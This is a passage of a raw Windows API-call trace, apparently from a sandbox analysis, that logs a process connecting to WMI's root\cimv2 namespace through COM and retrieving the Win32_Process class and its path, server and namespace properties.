[5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0081.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c022660) returned 0x0 [0081.048] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.048] WbemDefPath:IUnknown:Release (This=0x1c022660) returned 0x3 [0081.048] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0081.048] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0081.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0081.048] WbemDefPath:IUnknown:Release (This=0x1c02f270) returned 0x2 [0081.048] WbemDefPath:IUnknown:Release (This=0x1c02f270) returned 0x1 [0081.048] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0081.048] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0081.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f270, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c02f270) returned 0x0 [0081.048] WbemDefPath:IUnknown:AddRef (This=0x1c02f270) returned 0x3 [0081.048] WbemDefPath:IUnknown:Release (This=0x1c02f270) returned 0x2 [0081.048] WbemDefPath:IWbemPath:SetText (This=0x1c02f270, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0081.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0081.048] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0081.048] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.048] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0081.048] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0081.048] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0081.048] IUnknown:Release (This=0x111f638) returned 0x1 [0081.049] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c022760) returned 0x0 [0081.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0081.049] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c022760, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c022780) returned 0x0 [0081.049] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x0 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c022780) returned 0x0 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0081.050] WbemLocator:IUnknown:AddRef (This=0x1c022780) returned 0x3 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0081.050] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0081.050] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0081.050] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0081.050] WbemLocator:IUnknown:Release (This=0x1c022780) returned 0x2 [0081.050] WbemLocator:IUnknown:Release (This=0x1c022780) returned 0x1 [0081.050] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0081.050] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0081.051] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022780, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c022780) returned 0x0 [0081.051] WbemLocator:IUnknown:AddRef (This=0x1c022780) returned 0x3 [0081.051] WbemLocator:IUnknown:Release (This=0x1c022780) returned 0x2 [0081.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0081.051] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0081.051] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.051] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c0227a0) returned 0x0 [0081.051] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c0227a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c03e970) returned 0x0 [0081.095] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03e970, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf977a0) returned 0x0 [0081.095] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf977a0, pProxy=0x1c03e970, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0081.095] WbemLocator:IUnknown:Release (This=0x1bf977a0) returned 0x1 [0081.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03e970, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf977e0) returned 0x0 [0081.096] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03e970, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf977a0) returned 0x0 [0081.096] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf977a0, pProxy=0x1c03e970, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0081.096] WbemLocator:IUnknown:Release (This=0x1bf977a0) returned 0x2 [0081.096] WbemLocator:IUnknown:Release (This=0x1bf977e0) returned 0x1 [0081.096] CoTaskMemFree (pv=0x1c00a690) [0081.096] WbemLocator:IUnknown:AddRef (This=0x1c03e970) returned 0x2 [0081.096] WbemLocator:IUnknown:Release (This=0x1c0227a0) returned 0x0 [0081.097] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0081.097] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0081.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03e970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf977b0) returned 0x0 [0081.097] WbemLocator:IRpcOptions:Query (in: This=0x1bf977b0, pPrx=0x1c022800, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0081.097] WbemLocator:IUnknown:Release (This=0x1bf977b0) returned 0x2 [0081.097] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0081.097] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0081.097] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03e970, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c03e970) returned 0x0 [0081.097] WbemLocator:IUnknown:Release (This=0x1c03e970) returned 0x2 [0081.097] SysStringLen (param_1=0x0) returned 0x0 [0081.097] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f270, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0081.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0081.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f270, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0081.097] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ef70, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0081.098] IWbemServices:GetObject (in: This=0x1c03e970, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c029b20, ppCallResult=0x0) returned 0x0 [0081.110] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0081.110] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0081.111] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0081.111] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0081.111] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0081.111] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0081.111] IUnknown:Release (This=0x111f638) returned 0x1 [0081.192] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c0227a0) returned 0x0 [0081.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0227a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0081.193] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0227a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c02f330) returned 0x0 [0081.193] WbemDefPath:IUnknown:Release (This=0x1c0227a0) returned 0x0 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c02f330) returned 0x0 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0081.193] WbemDefPath:IUnknown:AddRef (This=0x1c02f330) returned 0x3 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c0227c0) returned 0x0 [0081.193] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0227c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.193] WbemDefPath:IUnknown:Release (This=0x1c0227c0) returned 0x3 [0081.193] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0081.193] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0081.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0081.194] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x2 [0081.194] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x1 [0081.194] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0081.194] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0081.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f330, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c02f330) returned 0x0 [0081.194] WbemDefPath:IUnknown:AddRef (This=0x1c02f330) returned 0x3 [0081.194] WbemDefPath:IUnknown:Release (This=0x1c02f330) returned 0x2 [0081.194] WbemDefPath:IWbemPath:SetText (This=0x1c02f330, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.194] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.194] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0081.194] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0081.194] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.194] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0081.195] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0081.195] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.195] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0081.195] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0081.195] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.195] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.195] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.195] IUnknown:Release (This=0x111f638) returned 0x1 [0081.197] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c022960) returned 0x0 [0081.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022960, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.197] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022960, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02f3f0) returned 0x0 [0081.197] WbemDefPath:IUnknown:Release (This=0x1c022960) returned 0x0 [0081.197] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f3f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02f3f0) returned 0x0 [0081.198] 